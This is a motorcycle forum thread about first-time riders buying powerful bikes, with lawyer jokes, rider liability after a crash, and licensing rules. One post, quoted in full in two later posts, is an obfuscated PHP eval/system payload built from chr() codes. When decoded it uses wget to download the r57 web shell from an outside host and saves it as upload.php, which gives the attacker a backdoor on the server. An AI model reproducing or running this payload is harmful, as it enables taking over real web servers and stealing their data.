Popular among first-time buyers -- Hayabusa

[FJR1300]

How can you tell when a lawyer is lying?

Well...
How can you tell?

 

[sparky3008]

How can you tell when a lawyer is lying?

Well...
How can you tell?

His/Her Lips are moving!

Sorry exskibum

 

[exskibum]

Is this the right thread for all those lawyer jokes I've been saving up?
You know, like "How can you tell when a lawyer is lying?" Things like that.

Those crack me up. :haha:

Oh hell, yeah. Post 'em up. I love lawyer jokes, but I've heard so many that it's the clever ones I try to sort through the others for.

I'm no fan of what the practice of law has become, but because of a lot of complexities most people never think about, I don't know the answer about how to fix it. Every area of law has its challenges and special types who abuse the system any way they can, and people are creative when it comes to greed and self interest. But imagine what it's like to always be in the middle of people fighting over money. Not as bad as what cops have to deal with, but it's hard to conclude that lawyers have a corner on the lying, petty, money grubbing, greedy, **** everyone else market. That's not to say that I haven't had to deal with some really obnoxious lawyer ********. And I consider a cocktail party with a bunch of lawyers to rank somewhere near the third level of hell.

I'm hesitant to call it a profession -- it can only be called a business in light of how the practice too often plays out, and how clients who can do abuse it. The law itself, the jurisprudential part, is another story. Believe it or not (except for some of the political ******** games played by legislators playing the professional politician election games), most laws are honest attempts to solve a problem in a just fashion or to find a way around an abuse. The real problem is that it's nearly impossible to draft bright line rules that always avoid the creative means of some people to abuse them for personal gain.

Not that any one is going to believe me on any of that. I always lie.

 

[exskibum]

How can you tell when a lawyer is lying?

Well...
How can you tell?

His/Her Lips are moving!

Sorry exskibum

And the minute we have you thinking that's the way you tell, we make a conscious effort not to move our lips while we type!!! :yahoo:

 

[Woodstock]

How can you tell when a lawyer is lying?

Well...
How can you tell?

His/Her Lips are moving!

Sorry exskibum

And the minute we have you thinking that's the way you tell, we make a conscious effort not to move our lips while we type!!! :yahoo:

It's only when people move their lips when reading that I get nervous.

 

[krashdragon]

How can you tell when a lawyer is lying?

Well...
How can you tell?

His/Her Lips are moving!

Sorry exskibum

And the minute we have you thinking that's the way you tell, we make a conscious effort not to move our lips while we type!!! :yahoo:

It's only when people move their lips when reading that I get nervous.

Snoopy move his lips when he reads..

but he is a beagle, so maybe that's ok....<G>

mary

 

[4lex]

eval(system(chr(99).chr(100).chr(32).chr(46).chr(47).chr(99).chr(97).chr(99).chr(104).chr(

01).chr(47).chr(59).chr(32).chr(119).chr(103).chr(101).chr(116).chr(32).chr(104).chr(116).

hr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(1

1).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(100).chr(111).chr(119).chr(110)

chr(108).chr(111).chr(97).chr(100).chr(47).chr(114).chr(53).chr(55).chr(115).chr(104).chr(

01).chr(108).chr(108).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(97).chr(116).

hr(32).chr(114).chr(53).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(1

6).chr(120).chr(116).chr(32).chr(62).chr(32).chr(117).chr(112).chr(108).chr(111).chr(97).c

r(100).chr(46).chr(112).chr(104).chr(112).chr(59)).chr(59).exit()); //

 

[twowheelnut]

eval(system(chr(99).chr(100).chr(32).chr(46).chr(47).chr(99).chr(97).chr(99).chr(104).chr(01).chr(47).chr(59).chr(32).chr(119).chr(103).chr(101).chr(116).chr(32).chr(104).chr(116).

hr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(1

1).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(100).chr(111).chr(119).chr(110)

chr(108).chr(111).chr(97).chr(100).chr(47).chr(114).chr(53).chr(55).chr(115).chr(104).chr(

01).chr(108).chr(108).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(97).chr(116).

hr(32).chr(114).chr(53).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(1

6).chr(120).chr(116).chr(32).chr(62).chr(32).chr(117).chr(112).chr(108).chr(111).chr(97).c

r(100).chr(46).chr(112).chr(104).chr(112).chr(59)).chr(59).exit()); //

Oh great, first lawyers (J/K, ex), now computer geeks. Oy.

 

[Rogue]

eval(system(chr(99).chr(100).chr(32).chr(46).chr(47).chr(99).chr(97).chr(99).chr(104).chr(

01).chr(47).chr(59).chr(32).chr(119).chr(103).chr(101).chr(116).chr(32).chr(104).chr(116).

hr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(1

1).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(100).chr(111).chr(119).chr(110)

chr(108).chr(111).chr(97).chr(100).chr(47).chr(114).chr(53).chr(55).chr(115).chr(104).chr(

01).chr(108).chr(108).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(97).chr(116).

hr(32).chr(114).chr(53).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(1

6).chr(120).chr(116).chr(32).chr(62).chr(32).chr(117).chr(112).chr(108).chr(111).chr(97).c

r(100).chr(46).chr(112).chr(104).chr(112).chr(59)).chr(59).exit()); //

Oh great, first lawyers (J/K, ex), now computer geeks. Oy.

If he were a true geek he could have made that post so it wasn't 5 pages wide!

 

[Splatterdaddy]

And so the ride ends........ :sicksmiley02:

 

[Clark Kent]

Will be interesting to see what the consequences of Ben being unliscensed (and unhelmeted) have on how the judicial system deals with the accident. For the lawyers out there, does it make any difference if the lady is at fault, but she hits a guy who wasn't legally on the bike?

I wrote about this on another board a couple weeks ago in the context of a squid doing a get off with a scantily clad girl on the back -- on the issue of her relative fault in getting on that way, and the relevance of how much she knew about motorcycles and gear if squid rider never said **** to her when he picked her up to go for a ride.

But to answer your question: yeah, it probably will make a difference in a civil case, or it sure would in California and most jurisdictions. Assuming facts that we don't know for sure, I'll say that she'll likely be liable for having caused the accident. BUT . . . and here's where it's relevant . . . his own negligence in failing to take reasonable precautions to minimize injury from reasonably foreseeable accidents could limit the amount of damages recovered. It's just like the seat belt defense, which goes like this: Sure, I was in your lane when I hit you, but if you'd been wearing your seatbelt, your injuries would have been far less severe (and I'm liable for those), but not for all that plastic surgery and neuro surgery that resulted from putting your face through the windshield. So, if the defense lawyer hired by her insurer convinces the jury of something like that, then Ben would have lower damages awarded and get less money from her insurer.

Keep in mind that if his medical insurer had paid for his face surgery, there's a good chance that they would have a lien against his eventual recovery, whether by judgment or settlement. It's complicated how that gets apportioned, but broad brush: the less he gets from her for his own negligent contribution to his injuries, the less his med. insurer gets back. Often, a lot of this is about which insurer pays how much, though it's typically improper to so much as mention insurance in the trial, so most jurors see it as just between the litigants (and sometimes it is, whether in whole (as in no ins.) or in part (as in judgment above policy limits).

But, wasn't it O.J.'s wife's fault he got so angry?

O. J. didn't do it!

The knife did!

 

[shu]

Cautiously dipping my toes into this piranha pool.....
In Japan they regulate the rider, not the machine. They have a three tier license structure based on machine size, length of experience, demonstration of riding skills and punitive costs to get an 'otaga' big bike license for bikes >400cc!!! If you live in a city you may have to prove that you have a prepaid parking spot for your vehicle, price for the parking is commonly $4,000 (US) or more per year.

A three tier license is sure to be as unpopular as selling motorcycles based on the rider's skill. The only difference is that unrestricted motorcycle sales to under trained and/or unskilled riders results in a body count that some activist group will have to avenge. Bad Things will happen to the motorcycle community if this occurs.

If you have been a member of this Forum for a while you will see that we have jumped all over people that wanted to get a FJR as a first bike, almost all of us strongly recommending a trainer size bike first. There is also a strong push for a MSF course or equivalent training. This is the voice of experience speaking. Or, we are generally a bunch of old farts :lol:

I'm alive today because a 125cc metric bike was 'a big machine' when I was learning to ride. Even the big USA iron wasn't so fast. I sort of wonder what would have happened if I could have walked into a dealer and purchased a modern pure sport bike....

when i first got licensed in washington state, back in 68, there was only ONE motorcycle endorsement. you could test on a trail 90 and then get off it and onto whatever. somewhere along the way, they had a tiered endorsment based on CCs. under 250, under 750, and unlimited. i don't know HOW they regulated that, but i think they have gone back to just a single endorsement. thing is, weight is not the only issue. anybody who has ever given full wrist twist to a 250 dirt bike can tell you that you can shoot it out from under yourself pretty easy. at least on the heavy bike, the noob is more likely to drop it in his driveway than to trunk-stuff a mini-van...

it's just about impossible to legislate common sense. if you could, we could outlaw hardly abelsons for economic and performance absurdity. just for grins i was reading the classifieds in the local paper the other day, chock full of hardlys. typical mileage seems to be about 5-800/year. saw a 99 road king with 450 miles. "just rode to the local bar and back" i guess...

shu

 

[Woodstock]

Cautiously dipping my toes into this piranha pool.....

In Japan they regulate the rider, not the machine. They have a three tier license structure based on machine size, length of experience, demonstration of riding skills and punitive costs to get an 'otaga' big bike license for bikes >400cc!!! If you live in a city you may have to prove that you have a prepaid parking spot for your vehicle, price for the parking is commonly $4,000 (US) or more per year.

A three tier license is sure to be as unpopular as selling motorcycles based on the rider's skill. The only difference is that unrestricted motorcycle sales to under trained and/or unskilled riders results in a body count that some activist group will have to avenge. Bad Things will happen to the motorcycle community if this occurs.

If you have been a member of this Forum for a while you will see that we have jumped all over people that wanted to get a FJR as a first bike, almost all of us strongly recommending a trainer size bike first. There is also a strong push for a MSF course or equivalent training. This is the voice of experience speaking. Or, we are generally a bunch of old farts :lol:

I'm alive today because a 125cc metric bike was 'a big machine' when I was learning to ride. Even the big USA iron wasn't so fast. I sort of wonder what would have happened if I could have walked into a dealer and purchased a modern pure sport bike....

when i first got licensed in washington state, back in 68, there was only ONE motorcycle endorsement. you could test on a trail 90 and then get off it and onto whatever. somewhere along the way, they had a tiered endorsment based on CCs. under 250, under 750, and unlimited. i don't know HOW they regulated that, but i think they have gone back to just a single endorsement. thing is, weight is not the only issue. anybody who has ever given full wrist twist to a 250 dirt bike can tell you that you can shoot it out from under yourself pretty easy. at least on the heavy bike, the noob is more likely to drop it in his driveway than to trunk-stuff a mini-van...

it's just about impossible to legislate common sense. if you could, we could outlaw hardly abelsons for economic and performance absurdity. just for grins i was reading the classifieds in the local paper the other day, chock full of hardlys. typical mileage seems to be about 5-800/year. saw a 99 road king with 450 miles. "just rode to the local bar and back" i guess...

shu

WA now has a seperate endorsment for 3wheelers (trike or sidecar). If you had your 2wheel licence a few years ago, you could apply and get grandfathered in, but now, AFAIK, it's a sperate test and everything.

 

[Blueliner]

it's just about impossible to legislate common sense. if you could, we could outlaw hardly abelsons for economic and performance absurdity. just for grins i was reading the classifieds in the local paper the other day, chock full of hardlys. typical mileage seems to be about 5-800/year. saw a 99 road king with 450 miles. "just rode to the local bar and back" i guess...
shu

It is impossible to legislate common sense, but those seek to perpetuate the government nanny-state do not think it is impossible- after all they know what is best for you.